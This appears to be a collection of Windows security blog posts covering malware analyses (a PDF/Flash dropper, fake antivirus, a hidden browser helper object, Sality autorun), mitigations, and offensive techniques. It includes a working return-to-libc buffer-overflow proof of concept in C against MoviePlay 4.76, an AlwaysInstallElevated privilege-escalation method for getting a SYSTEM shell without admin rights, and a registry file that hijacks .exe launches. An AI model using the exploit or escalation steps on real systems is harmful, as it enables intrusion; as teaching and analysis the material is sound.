After the pdf file is opened the first thing it does is process the malformed flash file in the pdf file which triggers the vulnerability dropping an executable in the root.

C:\-.exe

This file has been embedded in the pdf file making it portable without depending on any external sites to download and execute the malware. Once the dropped executable gets executed and a further 3 more files gets dropped onto the system.

C:\WINDOWS\EventSystem.dll
C:\WINDOWS\system32\es.ini
C:\WINDOWS\system32\dllcache\qmgr.dll

The original qmgr.dll file located in C:\WINDOWS\system32\ gets renamed to kernel64.dll and a malicious qmgr.dll takes it place. Also the original qmgr.dll file located in C:\WINDOWS\ServicePackFiles\i386\ gets replaced with the malicious qmgr.dll. The file Eventsystem.dll is a copy of the malicious dll file qmgr.dll and the file es.ini is just ascii file contains the text below used by qmgr.dll

[qmgrConfig]
ServerAddress=hxxp://210.211.31.214/ddradmin/ddrh.ashx
SleepTime=1000     
Guid=00000000-0000-0000-0000-000000000000

The final change to the system making sure the malware starts up everytime is changing the settings in a legitimate Windows service called “Background Intelligent Transfer Service” (BITS). By default the status is not started and startup type set to manual. This now becomes a started status with the startup type set to automatic. Thereafter when the system starts the service dll qmgr.dll gets loaded in memory when the BITS service is started.

Note that the time stamp has also been modified making it harder to trace if searching by date.

Adobe has now released an update for Adobe Flash 10.1.53.64 fixing the vulnerability. This resolves the issue if a swf file is opened via the web. For pdf files Adobe Reader update has not yet been released. One way to mitigate for now is to rename the following files:
 
C:\Program Files\Adobe\Reader 9.0\Reader\authplay.dll
C:\Program Files\Adobe\Reader 9.0\Reader\rt3d.dll

This analysis had been done using Adobe Reader version 9.3.2 with a pdf file having a md5 hash value of 721601bdbec57cb103a9717eeef0bfca

References:

http://secunia.com/advisories/40026/
http://www.kb.cert.org/vuls/id/486225/
http://www.adobe.com/support/security/bulletins/apsb10-14.html
http://www.adobe.com/support/security/advisories/apsa10-01.html
http://www.symantec.com/connect/blogs/analysis-zero-day-exploit-adobe-flash-and-reader
http://community.websense.com/blogs/securitylabs/archive/2010/06/09/having-fun-with-adobe-0-day-exploits.aspx

C:\WINDOWS\
C:\WINDOWS\system32\
C:\Documents and Settings\All Users\Application Data\
C:\Documents and Settings\{username}\Application Data\
C:\Documents and Settings\{username}\Local Settings\Application Data\

Look for unusual files or folders in these locations and if found then rename and reboot. If your pc boots up normally then go the folder which you renamed earlier and delete the malware. In this case this fake av software was called 29225727.exe and was located in

C:\Documents and Settings\{username}\Application Data\

Make sure in your folder options “Show hidden files and folders” is selected before browsing as it might have a hidden attribute set.

Another way you can locate the malware is by searching for the file through Windows Explorer. You can search for files for a certain date, for only exe’s, etc. To get an idea on what the executable file might be called you can browse to the C:\WINDOWS\Prefetch\ folder and see last few files written and search for those executables.

Finally another way is by right-clicking on the shortcut from start..programs..Security Tool menu (if exists) and take note of the path then just go to the path, rename and reboot.

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

These settings normally do not exist so must be present to begin with in order to be abused. AD administrators may have enabled these settings allowing users the ability to manually install packages requiring higher privileges while keeping the user rights as non-admin. MSI packages deployed via group policy do not depend on these local registry settings to be present as these packages get deployed with elevated privileges. If manual installation is not required by users then it is safe to change these registry values to 0.

If you do find your corporate pc with these values enabled and do not have local admin rights then it’s just a matter of building your own MSI package and telling it what to do. In the screenshot below I developed a proof of concept tool which shows checking the key values, installing the MSI package which installs a Windows service spawning a local system command shell and finally removing the package.

If you are thinking of building an MSI package or any MSI package for that matter I would recommend purchasing “Advanced Installer” by Caphyon. It is a well designed professional software and has all the features you need.

References:

http://www.advancedinstaller.com
http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx

When an executable is first run it checks various entries in the registry before loading the program. Once a machine has been infected by this malware the call is hijacked to first load the fake antivirus set in the registry

C:\Documents and Settings\{username}\Local Settings\Application Data\av.exe” /START “%1″ %*”

Here the malware av.exe is run followed by the actual executable. The malware has been developed to call the real program after its own program has loaded.

Another interesting entry in the registry made by the malware is when an executable is called Windows checks another location in the registry. This entry is not available in HKEY_CURRENT_USER but even if it was the value would have been exefile and not secfile. So what happens is Windows now checks the .exe key and sees secfile value, this points to the secfile key where is sees Application value which finally points to the exefile key in HKEY_LOCAL_MACHINE.

[HKEY_CURRENT_USER\Software\Classes\.exe]
@=”secfile”

points to . . .
           
[HKEY_CURRENT_USER\Software\Classes\secfile]
@=”Application”

which points to . . .

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile]
@=”Application”

So in the future if you think your exe association has been hijacked first area to check the .exe key in the registry and go from there. On a Windows XP machine by default HKEY_CURRENT_USER will not have an .exe key and only the values below in the HKEY_LOCAL_MACHINE .exe key.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]
@=”exefile”
“Content Type”=”application/x-msdownload”

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\PersistentHandler]
@=”{098f2470-bae0-11cd-b579-08002b30bfeb}”

If you want to test exe hijacking you can save the following lines below in reg file and import it. From their on any executable run will load up Windows Calculator. Once testing is finished you can simply delete the .exe key in HKEY_CURRENT_USER. The same applies in the HKEY_LOCAL_MACHINE but here you cannot delete the .exe key. So if you want to test using HKEY_LOCAL_MACHINE I recommend you backup the .exe key first.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\.exe]
@=”anything”
[HKEY_CURRENT_USER\Software\Classes\.exe\shell]
[HKEY_CURRENT_USER\Software\Classes\.exe\shell\open]
[HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\command]
@=”\”C:\\windows\\system32\\calc.exe\”"

Reference:

http://www.threatexpert.com/report.aspx?md5=6472e446c64a34edf7fe4ae8270e6faf

Malware infects USB keys by normally dropping its malware on the key along with an autorun.inf file. This autorun.inf file is read by the Windows operating system when plugged into a machine which in turn loads up the malware. Our goal would be to make the USB key read only in particular the autorun.inf file thus protecting the file from being modified by malware. Purchasing USB keys with a read only switch will do the trick but is hard to find these devices on the market. Another approach would be to use SD cards which come with read only switch along with an SD reader would serve its purpose. But having read only USB keys has its drawbacks in that in order for us to write to it we have to remove the read only protection and putting the device at risk of being infected.

Along comes Robin’s idea which works brilliantly. He mentioned how to only lock the autorun.inf file from being modified, deleted, opened, overwritten or the file attributes changed. The idea works by modified the file attribute on the disk level using a disk hex editor.

First we create a blank autorun.inf on the USB key. Even we wanted to load up our own programs via autorun.inf it will not be possible as once the change is done to disk the autorun.inf file cannot be even opened for it to load so therefore best to just keep it blank.

Next we use our disk hex editor to open up our USB device in read and write mode. Its best to make sure the USB key is blank or data backed up before editing the disk. We then search the disk for the string “autorun” in non-unicode form.

41  55  54  4F  52  55  4E  20 49 4E 46 20
A   U   T   O    R   U    N         I    N    F  

The last byte we are only interested in and will need to be changed. The current value of the byte is 0×20 has the archive bit set. We change this byte to 0×40, which sets the device bit, which is never normally found on a disk. We save our changes and exit out of our hex editor.

41  55  54  4F  52  55  4E  20 49 4E 46 40
A   U   T   O    R   U    N         I    N    F   @

Finally to test to see if our autorun.inf is protected we try to delete the file where then it will popup with an error.

Reference:

http://www.milw0rm.com/papers/314

While analysing a particular malware “convite.exe” which is detected by McAfee as “PWS-Banker!dtl” I noticed something quite interesting and therefore decided to post my findings. Among the various files being dropped by the malware one file was of particular interest called “flashcpx.dll” which gets installed as a BHO.

When a BHO gets registered onto the system it adds various keys in the registry. When Internet Explorer starts up it reads the registry location below telling Internet Explorer which BHOs it needs to load up. Let’s look at an example of Adobe’s BHO installed on my machine “AcroIEHelperShim.dll”.

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects]
{18DF081C-E8AD-4283-A596-FA578C2EBDC3}

In this key location lists 16-byte CLSID strings for the BHOs. Using this string it then points to another location in the registry telling Internet Explorer which DLL module to load up.
 
[HKLM\SOFTWARE\Classes\CLSID\{18DF081C-E8AD-4283-A596-FA578C2EBDC3}\InprocServer32]
C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll

Now when the malicious “flashcpx.dll” BHO gets installed it does something clever to hide its presence yet still manage to load up. As you can see below the CLSID string is longer than usual. The added characters cause most tools not to list out the BHO even though Internet Explorer loads it up.

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects]
{399BFACE-3ADA-4DAE-80D8-E221812243A9}80D8-E221812243A9}

When Internet Explorer loads up the BHO the browser only reads 16-byte CLSID format {399BFACE-3ADA-4DAE-80D8-E221812243A9} and then loads up the BHO via the normal process. So any added characters are ignored by Internet Explorer.

[HKLM\SOFTWARE\Classes\CLSID\{399BFACE-3ADA-4DAE-80D8-E221812243A9}\InprocServer32]
C:\WINDOWS\system32\flashcpx.dll

For example, if we wanted to see what BHO are installed we can use Internet Explorer’s Manage Add-ons or use SysInternals Autoruns.exe. Both do not show the malicious BHO installed as these tools reads the entire string instead of the 16-byte CLSID format which Internet Explorer does do.

Since the string is longer than recommended when it goes to find the CLSID key in [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID] the key is not found and therefore the DLL module does not get listed. Quite odd that “manage add-ons” is part of Internet Explorer but does not list it yet happy to load up the BHO .

Reference:

http://www.threatexpert.com/report.aspx?md5=3765371819c1195f3cdbb255f4442e1e

Reading the following responses from Symantec mentioned in the references below was not helpful at all so I thought I’d tackle the problem myself. When trying to authenticate remotely to the Quarantine server it throws back this error:

“Cannot connect to server [name].  Make sure the Quarantine Server is installed on the specified machine, and that the user information is correct.” 

After investigating the issue I discovered that the DLL file qserverps.dll had not been registered. This file is located in the default console folder C:\Program Files\Symantec\Quarantine\Console

The solution is to just register the file as shown below:

C:\Program Files\Symantec\Quarantine\Console>regsvr32 qserverps.dll

This DLL file qserverps.dll is also used by the Quarantine server in its own folder which does get registered. This explains why the console works when run on the server as it uses the same file.

References:

http://www.symantec.com/connect/forums/central-quarantine-serverconsole-issue
http://service1.symantec.com/SUPPORT/ent-security.nsf/ppfdocs/2003111015491948?Open&dtype=corp&src=&seg=&om=1&om_out=prod

C:\>attrib virus.exe
SHR C:\virus.exe

C:\>attrib -h -r virus.exe
Not resetting system file – C:\virus.exe

C:\>attrib -s -r virus.exe
Not resetting hidden file – C:\virus.exe

C:\>attrib -h -s -r virus.exe

C:\>attrib virus.exe
C:\virus.exe

Windows by default hides known file type extensions. For us to view all extensions we need to make a couple to changes to our system. In Windows 2000/XP, we need to open Windows Explorer and select “Tools”… “Folder Options”. Next click the “View” tab, select “Show hidden files and folders” and also untick “Hide file extensions for known file types”. Once applied all extensions will now be visible. There are still some extensions which will not be visible so changes will need to be made in the registry. For example the PIF file is one such extension. A PIF file is basically designed to hold information that will help an MS-DOS application know how to run in a Windows environment. Virus writers sometimes rename an executable file with a PIF extension. For example virus.exe could be renamed to virus.txt.pif. Since it ends in a PIF extension it will not be visible to the user and only virus.txt will be displayed fooling the user as being a text file.

In order to display the PIF extension we need to go into the registry and drill down to HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile and delete the “NeverShowExt” entry. Once deleted you will need the system to be rebooted to take effect.

The text below can also be saved as a reg file and imported by double-clicking on it without carrying out the above manual instructions.

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile]
“NeverShowExt”=-

Reference:

http://www.pctools.com/guides/registry/detail/627/

Looking into the autorun.inf file of an infected usb key by the Sality virus shows that is uses a number of commands to execute the same virus. The code below has been cleaned up and modified with comments but basically it uses four methods to execute the same malware.

[AutoRun]

; right-click “Open” {double-clicking on drive also opens program1.exe}
shell\open\command = program1.exe
shell\open\default=1

; right-click “AutoPlay”
shell\autoplay\command = program2.exe

; right-click “Install or run program”
open = program3.exe

; right-click “Explore”
shell\explore\command = program4.exe

The diagram below taken from Windows Vista points out the menu commands which runs the relevant program.

Conficker uses the shellexecute command in the autorun.inf file as shown in the example below:

shellexecute = program5.exe

CERT issued an advisory mentioning how to mitigate autorun functionality completely by adding a registry entry as shown below. This text can be saved as a reg file and imported just by double-clicking on it.

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]
@=”@SYS:DoesNotExist”

Once the entry has been imported and the machine rebooted, Windows will stop parsing the autorun.inf file located in any existing and new storage devices connecting to your system. Also you will notice that right-clicking on the drive will now only display “open” and “Explore” and both will just open a window when clicked and not executing any programs.

To enable the autorun features all you need to do is delete the entry. This can be easily done by saving the below text as a reg file and importing it.

REGEDIT4
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]

References:

http://vil.nai.com/vil/content/v_153711.htm
http://vil.nai.com/vil/content/v_153724.htm
http://www.us-cert.gov/cas/techalerts/TA09-020A.html
http://www.symantec.com/security_response/writeup.jsp?docid=2008-042106-1847-99&tabid=2

In order to abuse “return to libc” functionality all we need to do is overwrite the return address with a function address say system() and provide arguments needed for the function for the attack to be successful. When jumped to the function address the machine instructions for that function gets executed using the arguments we have placed on the stack. The benefit to this approach is that code injection is no longer needed but also argument size will be much smaller than a typical shellcode and thus a small buffer is sufficient for exploitation. Also in this type of attack the attacker does not need to have any shellcoding knowledge making it that much easier.

But why wait to use this method till all stacks become non executable? Why don’t we just start using it now? After all knowledge of shellcoding is no longer needed and our argument will be much smaller and easier to input and test. Another big factor is that network-based intrusion prevention systems will not detect any shellcode present and pass it through. Sure there is the issue of the function address of system() which might be different from version to version of the operating system but what’s new. Jump addresses also change between versions if obtained from the operating system. If however a jump address had been obtained from the vulnerable program itself at least then the exploit will be universal to that vulnerable program version but how often do we see jump addresses being used from the vulnerable program? The reason being jump addresses in the program are not available or just not reliable.

In the POC code below a buffer overflow vulnerability had been discovered in the MoviePlay program when parsing LST files. Before our system() function is called, the parameters of the function (our command to execute in this case) have to be pushed onto the stack.

/*
[MoviePlay]
FileName0=C:\ + [command + padding + return address + dummy return address + pointer to command]
FileName1=
NumFiles=1
*/

#include <stdio.h>

int main(int argc, char *argv[])
{
FILE *poc;
int i;

printf(“\nMoviePlay 4.76 Player playlist (LST) Buffer Overflow Exploit\n”);
if (argc < 2)
{
printf(“\nUsage: %s <playlistfilename>\n\n”, argv[0]);
return 1;
}
if ((poc = fopen(argv[1], “w”)) == NULL )
{
printf(“\n[-] Unable to create file\n\n”);
return -1;
}
fputs(“[MoviePlay]\n”, poc);
fputs(“FileName0=C:\\”, poc);

// Command
fputs(“cmd /C calc “, poc);

// Padding
for (i=0; i<1041; i++)
fputs(“\x41″, poc);

// Return address system() XPSP2
fputs(“\xC7\x93\xC2\x77″, poc);

// Fake return address for system(), exit() XPSP2
fputs(“\x7E\x9E\xC3\x77″, poc);

// Pointer to command
fputs(“\x73\xD4\x27\x00″, poc);
fputs(“\n”, poc);
fputs(“FileName1=\n”, poc);
fputs(“NumFiles=1\n”, poc);

printf(“\n[+] File %s created\n\n”, argv[1]);
fclose(poc);
return 0;
}

The dummy return address is needed for the system() function which in this case points to the exit() function thus providing a clean exit without producing any crashes. The final part of our string is “pointer to command” points to our command string in the stack. This address can be easily obtained by examining our stack as shown in the screenshot. Our command can now be placed anywhere in the buffer so long our pointer to command points to the first letter of our command. In this POC the command only executes Windows calculator but any command string can be entered and is left to our imagination.

References:

http://secunia.com/advisories/22959/
http://www.milw0rm.com/exploits/4051/
http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf